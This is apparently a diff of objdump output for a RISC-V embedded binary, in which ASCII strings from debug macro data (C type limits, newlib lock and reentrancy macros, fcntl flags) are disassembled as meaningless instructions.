-    1936:	7228                	flw	fa0,96(a2)
-    1938:	2964                	fld	fs1,208(a0)
-    193a:	3a20                	fld	fs0,112(a2)
-    193c:	2220                	fld	fs0,64(a2)
-    193e:	2272                	fld	ft4,280(sp)
-    1940:	7228                	flw	fa0,96(a2)
-    1942:	3b292973          	csrrs	s2,pmpaddr2,s2
-    1946:	7220                	flw	fs0,96(a2)
-    1948:	3b64                	fld	fs1,240(a4)
-    194a:	7d20                	flw	fs0,120(a0)
-    194c:	0029                	c.nop	10
-    194e:	4c50                	lw	a2,28(s0)
-    1950:	4349                	li	t1,18
-    1952:	545f 5248 5345      	0x53455248545f
-    1958:	4f5f 4646 4553      	0x455346464f5f
-    195e:	2054                	fld	fa3,128(s0)
-    1960:	7830                	flw	fa2,112(s0)
-    1962:	3032                	fld	ft0,296(sp)
-    1964:	3030                	fld	fa2,96(s0)
-    1966:	3030                	fld	fa2,96(s0)
-    1968:	5000                	lw	s0,32(s0)
-    196a:	5254                	lw	a3,36(a2)
-    196c:	4944                	lw	s1,20(a0)
-    196e:	4646                	lw	a2,80(sp)
-    1970:	4d5f 5841 4c00      	0x4c0058414d5f
-    1976:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    197a:	4f4c                	lw	a1,28(a4)
-    197c:	474e                	lw	a4,208(sp)
-    197e:	4d5f 5841 5f20      	0x5f2058414d5f
-    1984:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    198a:	4f4c                	lw	a1,28(a4)
-    198c:	474e                	lw	a4,208(sp)
-    198e:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    1994:	5f00                	lw	s0,56(a4)
-    1996:	495f 544e 5f38      	0x5f38544e495f
-    199c:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    19a0:	6320                	flw	fs0,64(a4)
-    19a2:	5f00                	lw	s0,56(a4)
-    19a4:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    19a8:	505f534b          	fnmsub.s	ft6,ft10,ft5,fa0,unknown
-    19ac:	5245                	li	tp,-15
-    19ae:	535f 4345 205f      	0x205f4345535f
-    19b4:	3031                	jal	11c0 <__stack_size+0x9c0>
-    19b6:	3030                	fld	fa2,96(s0)
-    19b8:	3030                	fld	fa2,96(s0)
-    19ba:	0030                	addi	a2,sp,8
-    19bc:	525f 4545 544e      	0x544e4545525f
-    19c2:	4d5f 5242 4f54      	0x4f5452424d5f
-    19c8:	535f4357          	0x535f4357
-    19cc:	4154                	lw	a3,4(a0)
-    19ce:	4554                	lw	a3,12(a0)
-    19d0:	7028                	flw	fa0,96(s0)
-    19d2:	7274                	flw	fa3,100(a2)
-    19d4:	2029                	jal	19de <__stack_size+0x11de>
-    19d6:	2828                	fld	fa0,80(s0)
-    19d8:	7470                	flw	fa2,108(s0)
-    19da:	2972                	fld	fs2,280(sp)
-    19dc:	3e2d                	jal	1516 <__stack_size+0xd16>
-    19de:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    19e4:	6572                	flw	fa0,28(sp)
-    19e6:	6e65                	lui	t3,0x19
-    19e8:	2e74                	fld	fa3,216(a2)
-    19ea:	6d5f 7262 6f74      	0x6f7472626d5f
-    19f0:	735f6377          	0x735f6377
-    19f4:	6174                	flw	fa3,68(a0)
-    19f6:	6574                	flw	fa3,76(a0)
-    19f8:	0029                	c.nop	10
-    19fa:	5f5f 444c 4c42      	0x4c42444c5f5f
-    1a00:	445f 4345 4d49      	0x4d494345445f
-    1a06:	4c41                	li	s8,16
-    1a08:	445f 4749 5f5f      	0x5f5f4749445f
-    1a0e:	3320                	fld	fs0,96(a4)
-    1a10:	0036                	c.slli	zero,0xd
-    1a12:	45484353          	0x45484353
-    1a16:	5f44                	lw	s1,60(a4)
-    1a18:	5252                	lw	tp,52(sp)
-    1a1a:	3220                	fld	fs0,96(a2)
-    1a1c:	5f00                	lw	s0,56(a4)
-    1a1e:	705f 6972 746e      	0x746e6972705f
-    1a24:	3066                	fld	ft0,120(sp)
-    1a26:	696c                	flw	fa1,84(a0)
-    1a28:	6628656b          	0x6628656b
-    1a2c:	746d                	lui	s0,0xffffb
-    1a2e:	7261                	lui	tp,0xffff8
-    1a30:	69662c67          	0x69662c67
-    1a34:	7372                	flw	ft6,60(sp)
-    1a36:	7674                	flw	fa3,108(a2)
-    1a38:	7261                	lui	tp,0xffff8
-    1a3a:	7261                	lui	tp,0xffff8
-    1a3c:	00202967          	0x202967
-    1a40:	5f4c                	lw	a1,60(a4)
-    1a42:	6d74                	flw	fa3,92(a0)
-    1a44:	6e70                	flw	fa2,92(a2)
-    1a46:	6d61                	lui	s10,0x18
-    1a48:	4620                	lw	s0,72(a2)
-    1a4a:	4c49                	li	s8,18
-    1a4c:	4e45                	li	t3,17
-    1a4e:	4d41                	li	s10,16
-    1a50:	5f45                	li	t5,-15
-    1a52:	414d                	li	sp,19
-    1a54:	0058                	addi	a4,sp,4
-    1a56:	535f 5f43 4258      	0x42585f43535f
-    1a5c:	495f3553          	0x495f3553
-    1a60:	504c                	lw	a1,36(s0)
-    1a62:	4f5f3233          	0x4f5f3233
-    1a66:	4646                	lw	a2,80(sp)
-    1a68:	5f203233          	0x5f203233
-    1a6c:	565f4353          	0x565f4353
-    1a70:	4c495f37          	lui	t5,0x4c495
-    1a74:	3350                	fld	fa2,160(a4)
-    1a76:	5f32                	lw	t5,44(sp)
-    1a78:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
-    1a7c:	0032                	c.slli	zero,0xc
-    1a7e:	5f5f 4c46 3354      	0x33544c465f5f
-    1a84:	5f32                	lw	t5,44(sp)
-    1a86:	4148                	lw	a0,4(a0)
-    1a88:	4e495f53          	0x4e495f53
-    1a8c:	4946                	lw	s2,80(sp)
-    1a8e:	494e                	lw	s2,208(sp)
-    1a90:	5954                	lw	a3,52(a0)
-    1a92:	5f5f 3120 4900      	0x490031205f5f
-    1a98:	544e                	lw	s0,240(sp)
-    1a9a:	4c5f 4145 5453      	0x545341454c5f
-    1aa0:	5f38                	lw	a4,120(a4)
-    1aa2:	414d                	li	sp,19
-    1aa4:	2058                	fld	fa4,128(s0)
-    1aa6:	5f5f 4e49 5f54      	0x5f544e495f5f
-    1aac:	454c                	lw	a1,12(a0)
-    1aae:	5341                	li	t1,-16
-    1ab0:	3854                	fld	fa3,176(s0)
-    1ab2:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    1ab8:	5f00                	lw	s0,56(a4)
-    1aba:	495f 4545 5f45      	0x5f454545495f
-    1ac0:	494c                	lw	a1,20(a0)
-    1ac2:	5454                	lw	a3,44(s0)
-    1ac4:	454c                	lw	a1,12(a0)
-    1ac6:	455f 444e 4149      	0x4149444e455f
-    1acc:	204e                	fld	ft0,208(sp)
-    1ace:	5f00                	lw	s0,56(a4)
-    1ad0:	465f 544c 4d5f      	0x4d5f544c465f
-    1ad6:	5841                	li	a6,-16
-    1ad8:	455f 5058 5f5f      	0x5f5f5058455f
-    1ade:	3120                	fld	fs0,96(a0)
-    1ae0:	3832                	fld	fa6,296(sp)
-    1ae2:	4700                	lw	s0,8(a4)
-    1ae4:	4950                	lw	a2,20(a0)
-    1ae6:	4f495f4f          	fnmadd.q	ft10,fs2,fs4,fs1,unknown
-    1aea:	5f46                	lw	t5,112(sp)
-    1aec:	4e45                	li	t3,17
-    1aee:	3020                	fld	fs0,96(s0)
-    1af0:	3378                	fld	fa4,224(a4)
-    1af2:	0038                	addi	a4,sp,8
-    1af4:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    1afa:	745f 7972 615f      	0x615f7972745f
-    1b00:	69757163          	bgeu	a0,s7,2182 <__stack_size+0x1982>
-    1b04:	6572                	flw	fa0,28(sp)
-    1b06:	725f 6365 7275      	0x72756365725f
-    1b0c:	65766973          	csrrsi	s2,0x657,12
-    1b10:	6c28                	flw	fa0,88(s0)
-    1b12:	296b636f          	jal	t1,b7da8 <__stack_size+0xb75a8>
-    1b16:	2820                	fld	fs0,80(s0)
-    1b18:	7628                	flw	fa0,104(a2)
-    1b1a:	2964696f          	jal	s2,47db0 <__stack_size+0x475b0>
-    1b1e:	3020                	fld	fs0,96(s0)
-    1b20:	0029                	c.nop	10
-    1b22:	5f5f 4343 535f      	0x535f43435f5f
-    1b28:	5055                	c.li	zero,-11
-    1b2a:	4f50                	lw	a2,28(a4)
-    1b2c:	5452                	lw	s0,52(sp)
-    1b2e:	5f5f5f53          	0x5f5f5f53
-    1b32:	4e49                	li	t3,18
-    1b34:	494c                	lw	a1,20(a0)
-    1b36:	454e                	lw	a0,208(sp)
-    1b38:	3120                	fld	fs0,96(a0)
-    1b3a:	5f00                	lw	s0,56(a4)
-    1b3c:	475f 554e 5f43      	0x5f43554e475f
-    1b42:	4156                	lw	sp,84(sp)
-    1b44:	4c5f 5349 2054      	0x205453494c5f
-    1b4a:	5f00                	lw	s0,56(a4)
-    1b4c:	725f 7369 7663      	0x76637369725f
-    1b52:	645f 7669 3120      	0x31207669645f
-    1b58:	5f00                	lw	s0,56(a4)
-    1b5a:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    1b60:	736f6c63          	bltu	t5,s6,2298 <__stack_size+0x1a98>
-    1b64:	5f65                	li	t5,-7
-    1b66:	6572                	flw	fa0,28(sp)
-    1b68:	73727563          	bgeu	tp,s7,2292 <__stack_size+0x1a92>
-    1b6c:	7669                	lui	a2,0xffffa
-    1b6e:	2865                	jal	1c26 <__stack_size+0x1426>
-    1b70:	6f6c                	flw	fa1,92(a4)
-    1b72:	20296b63          	bltu	s2,sp,1d88 <__stack_size+0x1588>
-    1b76:	2828                	fld	fa0,80(s0)
-    1b78:	6f76                	flw	ft10,92(sp)
-    1b7a:	6469                	lui	s0,0x1a
-    1b7c:	2029                	jal	1b86 <__stack_size+0x1386>
-    1b7e:	2930                	fld	fa2,80(a0)
-    1b80:	5f00                	lw	s0,56(a4)
-    1b82:	4552                	lw	a0,20(sp)
-    1b84:	4e45                	li	t3,17
-    1b86:	5f54                	lw	a3,60(a4)
-    1b88:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
-    1b8c:	49535f4b          	fnmsub.s	ft10,ft6,fs5,fs1,unknown
-    1b90:	4c414e47          	0x4c414e47
-    1b94:	425f 4655 7028      	0x70284655425f
-    1b9a:	7274                	flw	fa3,100(a2)
-    1b9c:	2029                	jal	1ba6 <__stack_size+0x13a6>
-    1b9e:	4200                	lw	s0,0(a2)
-    1ba0:	41425f43          	fmadd.s	ft10,ft4,fs4,fs0,unknown
-    1ba4:	4d5f4553          	0x4d5f4553
-    1ba8:	5841                	li	a6,-16
-    1baa:	3920                	fld	fs0,112(a0)
-    1bac:	0039                	c.nop	14
-    1bae:	5f5f 4c46 3354      	0x33544c465f5f
-    1bb4:	5832                	lw	a6,44(sp)
-    1bb6:	4d5f 5841 455f      	0x455f58414d5f
-    1bbc:	5058                	lw	a4,36(s0)
-    1bbe:	5f5f 3120 3230      	0x323031205f5f
-    1bc4:	0034                	addi	a3,sp,8
-    1bc6:	5f5f 4343 535f      	0x535f43435f5f
-    1bcc:	5055                	c.li	zero,-11
-    1bce:	4f50                	lw	a2,28(a4)
-    1bd0:	5452                	lw	s0,52(sp)
-    1bd2:	41575f53          	0x41575f53
-    1bd6:	4e52                	lw	t3,20(sp)
-    1bd8:	4e49                	li	t3,18
-    1bda:	00312047          	fmsub.s	ft0,ft2,ft3,ft0,rdn
-    1bde:	5f5f 4c46 3354      	0x33544c465f5f
-    1be4:	5f32                	lw	t5,44(sp)
-    1be6:	414d                	li	sp,19
-    1be8:	544e                	lw	s0,240(sp)
-    1bea:	445f 4749 5f5f      	0x5f5f4749445f
-    1bf0:	3220                	fld	fs0,96(a2)
-    1bf2:	0034                	addi	a3,sp,8
-    1bf4:	5f5f 4955 544e      	0x544e49555f5f
-    1bfa:	465f 5341 3854      	0x38545341465f
-    1c00:	545f 5059 5f45      	0x5f455059545f
-    1c06:	205f 6e75 6973      	0x69736e75205f
-    1c0c:	64656e67          	0x64656e67
-    1c10:	6920                	flw	fs0,80(a0)
-    1c12:	746e                	flw	fs0,248(sp)
-    1c14:	5300                	lw	s0,32(a4)
-    1c16:	495f 5253 4745      	0x47455253495f
-    1c1c:	6d28                	flw	fa0,88(a0)
-    1c1e:	2029                	jal	1c28 <__stack_size+0x1428>
-    1c20:	2828                	fld	fa0,80(s0)
-    1c22:	6d28                	flw	fa0,88(a0)
-    1c24:	2629                	jal	1f2e <__stack_size+0x172e>
-    1c26:	495f 4d46 2954      	0x29544d46495f
-    1c2c:	3d20                	fld	fs0,120(a0)
-    1c2e:	203d                	jal	1c5c <__stack_size+0x145c>
-    1c30:	495f 5246 4745      	0x47455246495f
-    1c36:	0029                	c.nop	10
-    1c38:	5346                	lw	t1,112(sp)
-    1c3a:	4c48                	lw	a0,28(s0)
-    1c3c:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    1c40:	465f 4853 4f4c      	0x4f4c4853465f
-    1c46:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
-    1c4a:	4449                	li	s0,18
-    1c4c:	545f 445f 4345      	0x4345445f545f
-    1c52:	414c                	lw	a1,4(a0)
-    1c54:	4552                	lw	a0,20(sp)
-    1c56:	2044                	fld	fs1,128(s0)
-    1c58:	5f00                	lw	s0,56(a4)
-    1c5a:	465f 544c 3231      	0x3231544c465f
-    1c60:	5f38                	lw	a4,120(a4)
-    1c62:	414d                	li	sp,19
-    1c64:	5f58                	lw	a4,60(a4)
-    1c66:	3031                	jal	1472 <__stack_size+0xc72>
-    1c68:	455f 5058 5f5f      	0x5f5f5058455f
-    1c6e:	3420                	fld	fs0,104(s0)
-    1c70:	3339                	jal	197e <__stack_size+0x117e>
-    1c72:	0032                	c.slli	zero,0xc
-    1c74:	4e49                	li	t3,18
-    1c76:	5054                	lw	a3,36(s0)
-    1c78:	5254                	lw	a3,36(a2)
-    1c7a:	4d5f 5841 5f20      	0x5f2058414d5f
-    1c80:	495f 544e 5450      	0x5450544e495f
-    1c86:	5f52                	lw	t5,52(sp)
-    1c88:	414d                	li	sp,19
-    1c8a:	5f58                	lw	a4,60(a4)
-    1c8c:	005f 5f5f 5845      	0x58455f5f005f
-    1c92:	2850                	fld	fa2,144(s0)
-    1c94:	2978                	fld	fa4,208(a0)
-    1c96:	5f20                	lw	s0,120(a4)
-    1c98:	205f 2323 2078      	0x20782323205f
-    1c9e:	5f5f2323          	sw	s5,1510(t5) # 4c4955e6 <_data_lma+0x2c08f606>
-    1ca2:	4f00                	lw	s0,24(a4)
-    1ca4:	4e5f 4e4f 4c42      	0x4c424e4f4e5f
-    1caa:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    1cae:	465f 4f4e 424e      	0x424e4f4e465f
-    1cb4:	4f4c                	lw	a1,28(a4)
-    1cb6:	55004b43          	0x55004b43
-    1cba:	4e49                	li	t3,18
-    1cbc:	5f54                	lw	a3,60(a4)
-    1cbe:	454c                	lw	a1,12(a0)
-    1cc0:	5341                	li	t1,-16
-    1cc2:	3354                	fld	fa3,160(a4)
-    1cc4:	5f32                	lw	t5,44(sp)
-    1cc6:	414d                	li	sp,19
-    1cc8:	0058                	addi	a4,sp,4
-    1cca:	4e49                	li	t3,18
-    1ccc:	5f54                	lw	a3,60(a4)
-    1cce:	4146                	lw	sp,80(sp)
-    1cd0:	36315453          	0x36315453
-    1cd4:	4d5f 4e49 4900      	0x49004e494d5f
-    1cda:	544e                	lw	s0,240(sp)
-    1cdc:	465f 5341 3854      	0x38545341465f
-    1ce2:	4d5f 5841 5f20      	0x5f2058414d5f
-    1ce8:	495f 544e 465f      	0x465f544e495f
-    1cee:	5341                	li	t1,-16
-    1cf0:	3854                	fld	fa3,176(s0)
-    1cf2:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    1cf8:	5f00                	lw	s0,56(a4)
-    1cfa:	4d5f4353          	0x4d5f4353
-    1cfe:	5041                	c.li	zero,-16
-    1d00:	4550                	lw	a2,12(a0)
-    1d02:	5f44                	lw	s1,60(a4)
-    1d04:	4946                	lw	s2,80(sp)
-    1d06:	454c                	lw	a1,12(a0)
-    1d08:	33322053          	0x33322053
-    1d0c:	5f00                	lw	s0,56(a4)
-    1d0e:	6c5f 6e6f 5f67      	0x5f676e6f6c5f
-    1d14:	6f64                	flw	fs1,92(a4)
-    1d16:	6275                	lui	tp,0x1d
-    1d18:	656c                	flw	fa1,76(a0)
-    1d1a:	745f 6c20 6e6f      	0x6e6f6c20745f
-    1d20:	6f642067          	0x6f642067
-    1d24:	6275                	lui	tp,0x1d
-    1d26:	656c                	flw	fa1,76(a0)
-    1d28:	4c00                	lw	s0,24(s0)
-    1d2a:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    1d2e:	30204853          	0x30204853
-    1d32:	3078                	fld	fa4,224(s0)
-    1d34:	0031                	c.nop	12
-    1d36:	5f5f 6572 7571      	0x757165725f5f
-    1d3c:	7269                	lui	tp,0xffffa
-    1d3e:	7365                	lui	t1,0xffff9
-    1d40:	655f 6378 756c      	0x756c6378655f
-    1d46:	65766973          	csrrsi	s2,0x657,12
-    1d4a:	2e28                	fld	fa0,88(a2)
-    1d4c:	2e2e                	fld	ft8,200(sp)
-    1d4e:	2029                	jal	1d58 <__stack_size+0x1558>
-    1d50:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    1d56:	615f 6e6e 746f      	0x746f6e6e615f
-    1d5c:	7461                	lui	s0,0xffff8
-    1d5e:	2865                	jal	1e16 <__stack_size+0x1616>
-    1d60:	7865                	lui	a6,0xffff9
-    1d62:	73756c63          	bltu	a0,s7,249a <__stack_size+0x1c9a>
-    1d66:	7669                	lui	a2,0xffffa
-    1d68:	5f65                	li	t5,-7
-    1d6a:	6f6c                	flw	fa1,92(a4)
-    1d6c:	5f736b63          	bltu	t1,s7,2362 <__stack_size+0x1b62>
-    1d70:	6572                	flw	fa0,28(sp)
-    1d72:	7571                	lui	a0,0xffffc
-    1d74:	7269                	lui	tp,0xffffa
-    1d76:	6465                	lui	s0,0x19
-    1d78:	5f28                	lw	a0,120(a4)
-    1d7a:	565f 5f41 5241      	0x52415f41565f
-    1d80:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    11c6:	495f 544e 4c5f      	0x4c5f544e495f
+    11cc:	4145                	li	sp,17
+    11ce:	34365453          	0x34365453
+    11d2:	545f 5059 5f45      	0x5f455059545f
+    11d8:	205f 6f6c 676e      	0x676e6f6c205f
+    11de:	6c20                	flw	fs0,88(s0)
+    11e0:	20676e6f          	jal	t3,773e6 <__stack_size+0x76be6>
+    11e4:	6e69                	lui	t3,0x1a
+    11e6:	0074                	addi	a3,sp,12
+    11e8:	5441                	li	s0,-16
+    11ea:	535f 4d59 494c      	0x494c4d59535f
+    11f0:	4b4e                	lw	s6,208(sp)
+    11f2:	4e5f 464f 4c4f      	0x4c4f464f4e5f
+    11f8:	4f4c                	lw	a1,28(a4)
+    11fa:	00322057          	0x322057
+    11fe:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    1204:	615f 7163 6975      	0x69757163615f
+    120a:	6572                	flw	fa0,28(sp)
+    120c:	6c28                	flw	fa0,88(s0)
+    120e:	296b636f          	jal	t1,b74a4 <__stack_size+0xb6ca4>
+    1212:	2820                	fld	fs0,80(s0)
+    1214:	7628                	flw	fa0,104(a2)
+    1216:	2964696f          	jal	s2,474ac <__stack_size+0x46cac>
+    121a:	3020                	fld	fs0,96(s0)
+    121c:	0029                	c.nop	10
+    121e:	535f 5f43 454d      	0x454d5f43535f
+    1224:	4c4d                	li	s8,19
+    1226:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    122a:	3432                	fld	fs0,296(sp)
+    122c:	4300                	lw	s0,0(a4)
+    122e:	494c                	lw	a1,20(a0)
+    1230:	544e                	lw	s0,240(sp)
+    1232:	4d5f 4954 454d      	0x454d49544d5f
+    1238:	20504d43          	fmadd.s	fs10,ft0,ft5,ft4,rmm
+    123c:	7830                	flw	fa2,112(s0)
+    123e:	3034                	fld	fa3,96(s0)
+    1240:	3030                	fld	fa2,96(s0)
+    1242:	5500                	lw	s0,40(a0)
+    1244:	4e49                	li	t3,18
+    1246:	4d54                	lw	a3,28(a0)
+    1248:	5841                	li	a6,-16
+    124a:	4d5f 5841 5f00      	0x5f0058414d5f
+    1250:	725f 7165 6975      	0x69757165725f
+    1256:	6572                	flw	fa0,28(sp)
+    1258:	6e755f73          	csrrwi	t5,0x6e7,10
+    125c:	6f6c                	flw	fa1,92(a4)
+    125e:	64656b63          	bltu	a0,t1,18b4 <__stack_size+0x10b4>
+    1262:	2e28                	fld	fa0,88(a2)
+    1264:	2e2e                	fld	ft8,200(sp)
+    1266:	2029                	jal	1270 <__stack_size+0xa70>
+    1268:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    126e:	615f 6e6e 746f      	0x746f6e6e615f
+    1274:	7461                	lui	s0,0xffff8
+    1276:	2865                	jal	132e <__stack_size+0xb2e>
+    1278:	6f6c                	flw	fa1,92(a4)
+    127a:	5f736b63          	bltu	t1,s7,1870 <__stack_size+0x1070>
+    127e:	7865                	lui	a6,0xffff9
+    1280:	64756c63          	bltu	a0,t2,18d8 <__stack_size+0x10d8>
+    1284:	6465                	lui	s0,0x19
+    1286:	5f28                	lw	a0,120(a4)
+    1288:	565f 5f41 5241      	0x52415f41565f
+    128e:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    1292:	2929                	jal	16ac <__stack_size+0xeac>
+    1294:	4600                	lw	s0,8(a2)
+    1296:	475f 5445 4c46      	0x4c465445475f
+    129c:	3320                	fld	fs0,96(a4)
+    129e:	5f00                	lw	s0,56(a4)
+    12a0:	5f5f 6e69 5f74      	0x5f746e695f5f
+    12a6:	61686377          	0x61686377
+    12aa:	5f72                	lw	t5,60(sp)
+    12ac:	5f74                	lw	a3,124(a4)
+    12ae:	2068                	fld	fa0,192(s0)
+    12b0:	5f00                	lw	s0,56(a4)
+    12b2:	535f 5359 4c5f      	0x4c5f5359535f
+    12b8:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    12bc:	5f48                	lw	a0,60(a4)
+    12be:	205f 5500 4e49      	0x4e495500205f
+    12c4:	4d54                	lw	a3,28(a0)
+    12c6:	5841                	li	a6,-16
+    12c8:	435f 6328 2029      	0x20296328435f
+    12ce:	5f5f 4955 544e      	0x544e49555f5f
+    12d4:	414d                	li	sp,19
+    12d6:	5f58                	lw	a4,60(a4)
+    12d8:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    12dc:	5f00                	lw	s0,56(a4)
+    12de:	445f 4c42 455f      	0x455f4c42445f
+    12e4:	5350                	lw	a2,36(a4)
+    12e6:	4c49                	li	s8,18
+    12e8:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    12ec:	2820                	fld	fs0,80(s0)
+    12ee:	6428                	flw	fa0,72(s0)
+    12f0:	6c62756f          	jal	a0,289b6 <__stack_size+0x281b6>
+    12f4:	2965                	jal	17ac <__stack_size+0xfac>
+    12f6:	2e32                	fld	ft8,264(sp)
+    12f8:	3232                	fld	ft4,296(sp)
+    12fa:	3430                	fld	fa2,104(s0)
+    12fc:	3634                	fld	fa3,104(a2)
+    12fe:	3430                	fld	fa2,104(s0)
+    1300:	3239                	jal	c0e <__stack_size+0x40e>
+    1302:	3035                	jal	b2e <__stack_size+0x32e>
+    1304:	30333133          	0x30333133
+    1308:	3038                	fld	fa4,96(s0)
+    130a:	3438                	fld	fa4,104(s0)
+    130c:	33363237          	lui	tp,0x33363
+    1310:	31363333          	0x31363333
+    1314:	3138                	fld	fa4,96(a0)
+    1316:	3436                	fld	fs0,360(sp)
+    1318:	3630                	fld	fa2,104(a2)
+    131a:	6532                	flw	fa0,12(sp)
+    131c:	312d                	jal	f46 <__stack_size+0x746>
+    131e:	4c36                	lw	s8,76(sp)
+    1320:	0029                	c.nop	10
+    1322:	6566                	flw	fa0,88(sp)
+    1324:	7272                	flw	ft4,60(sp)
+    1326:	7028726f          	jal	tp,88a28 <__stack_size+0x88228>
+    132a:	2029                	jal	1334 <__stack_size+0xb34>
+    132c:	5f5f 6673 7265      	0x726566735f5f
+    1332:	6f72                	flw	ft10,28(sp)
+    1334:	2872                	fld	fa6,280(sp)
+    1336:	2970                	fld	fa2,208(a0)
+    1338:	6d00                	flw	fs0,24(a0)
+    133a:	6d65                	lui	s10,0x19
+    133c:	00797063          	bgeu	s2,t2,133c <__stack_size+0xb3c>
+    1340:	5f5f 6564 6461      	0x646165645f5f
+    1346:	2032                	fld	ft0,264(sp)
+    1348:	5f5f 7461 7274      	0x727474615f5f
+    134e:	6269                	lui	tp,0x1a
+    1350:	7475                	lui	s0,0xffffd
+    1352:	5f65                	li	t5,-7
+    1354:	285f 5f28 6e5f      	0x6e5f5f28285f
+    135a:	7465726f          	jal	tp,58aa0 <__stack_size+0x582a0>
+    135e:	7275                	lui	tp,0xffffd
+    1360:	5f6e                	lw	t5,248(sp)
+    1362:	295f 0029 525f      	0x525f0029295f
+    1368:	4545                	li	a0,17
+    136a:	544e                	lw	s0,240(sp)
+    136c:	415f 4353 4954      	0x49544353415f
+    1372:	454d                	li	a0,19
+    1374:	535f 5a49 2045      	0x20455a49535f
+    137a:	3632                	fld	fa2,296(sp)
+    137c:	5f00                	lw	s0,56(a4)
+    137e:	4350                	lw	a2,4(a4)
+    1380:	465f 4c49 5345      	0x53454c49465f
+    1386:	5a49                	li	s4,-14
+    1388:	4245                	li	tp,17
+    138a:	5449                	li	s0,-14
+    138c:	32312053          	0x32312053
+    1390:	5f00                	lw	s0,56(a4)
+    1392:	555f 4e49 3854      	0x38544e49555f
+    1398:	545f 5059 5f45      	0x5f455059545f
+    139e:	205f 6e75 6973      	0x69736e75205f
+    13a4:	64656e67          	0x64656e67
+    13a8:	6320                	flw	fs0,64(a4)
+    13aa:	6168                	flw	fa0,68(a0)
+    13ac:	0072                	c.slli	zero,0x1c
+    13ae:	4d44                	lw	s1,28(a0)
+    13b0:	5f41                	li	t5,-16
+    13b2:	435f4843          	fmadd.d	fa6,ft10,fs5,fs0,rmm
+    13b6:	5254                	lw	a3,36(a2)
+    13b8:	5f4c                	lw	a1,60(a4)
+    13ba:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    13be:	7830                	flw	fa2,112(s0)
+    13c0:	3434                	fld	fa3,104(s0)
+    13c2:	5f00                	lw	s0,56(a4)
+    13c4:	4649                	li	a2,18
+    13c6:	4649                	li	a2,18
+    13c8:	3030204f          	fnmadd.s	ft0,ft0,ft3,ft6,rdn
+    13cc:	3031                	jal	bd8 <__stack_size+0x3d8>
+    13ce:	3030                	fld	fa2,96(s0)
+    13d0:	0030                	addi	a2,sp,8
+    13d2:	525f 4545 544e      	0x544e4545525f
+    13d8:	4d5f 4c42 4e45      	0x4e454c424d5f
+    13de:	535f 4154 4554      	0x45544154535f
+    13e4:	7028                	flw	fa0,96(s0)
+    13e6:	7274                	flw	fa3,100(a2)
+    13e8:	2029                	jal	13f2 <__stack_size+0xbf2>
+    13ea:	2828                	fld	fa0,80(s0)
+    13ec:	7470                	flw	fa2,108(s0)
+    13ee:	2972                	fld	fs2,280(sp)
+    13f0:	3e2d                	jal	f2a <__stack_size+0x72a>
+    13f2:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    13f8:	6572                	flw	fa0,28(sp)
+    13fa:	6e65                	lui	t3,0x19
+    13fc:	2e74                	fld	fa3,216(a2)
+    13fe:	6d5f 6c62 6e65      	0x6e656c626d5f
+    1404:	735f 6174 6574      	0x65746174735f
+    140a:	0029                	c.nop	10
+    140c:	5f5f 4c46 3354      	0x33544c465f5f
+    1412:	5f32                	lw	t5,44(sp)
+    1414:	494d                	li	s2,19
+    1416:	5f4e                	lw	t5,240(sp)
+    1418:	3031                	jal	c24 <__stack_size+0x424>
+    141a:	455f 5058 5f5f      	0x5f5f5058455f
+    1420:	2820                	fld	fs0,80(s0)
+    1422:	332d                	jal	114c <__stack_size+0x94c>
+    1424:	4c002937          	lui	s2,0x4c002
+    1428:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    142c:	4f4c                	lw	a1,28(a4)
+    142e:	474e                	lw	a4,208(sp)
+    1430:	4d5f 4e49 5f00      	0x5f004e494d5f
+    1436:	4e46                	lw	t3,80(sp)
+    1438:	4c4f464f          	0x4c4f464f
+    143c:	4f4c                	lw	a1,28(a4)
+    143e:	78302057          	0x78302057
+    1442:	3031                	jal	c4e <__stack_size+0x44e>
+    1444:	3030                	fld	fa2,96(s0)
+    1446:	3030                	fld	fa2,96(s0)
+    1448:	5300                	lw	s0,32(a4)
+    144a:	5248                	lw	a0,36(a2)
+    144c:	5f54                	lw	a3,60(a4)
+    144e:	494d                	li	s2,19
+    1450:	004e                	c.slli	zero,0x13
+    1452:	52495f53          	0x52495f53
+    1456:	5355                	li	t1,-11
+    1458:	2052                	fld	ft0,272(sp)
+    145a:	3030                	fld	fa2,96(s0)
+    145c:	3030                	fld	fa2,96(s0)
+    145e:	3034                	fld	fa3,96(s0)
+    1460:	0030                	addi	a2,sp,8
+    1462:	465f 5845 4345      	0x43455845465f
+    1468:	48435253          	0x48435253
+    146c:	3020                	fld	fs0,96(s0)
+    146e:	3478                	fld	fa4,232(s0)
+    1470:	3030                	fld	fa2,96(s0)
+    1472:	3030                	fld	fa2,96(s0)
+    1474:	0030                	addi	a2,sp,8
+    1476:	5f5f 4955 544e      	0x544e49555f5f
+    147c:	414d                	li	sp,19
+    147e:	5f58                	lw	a4,60(a4)
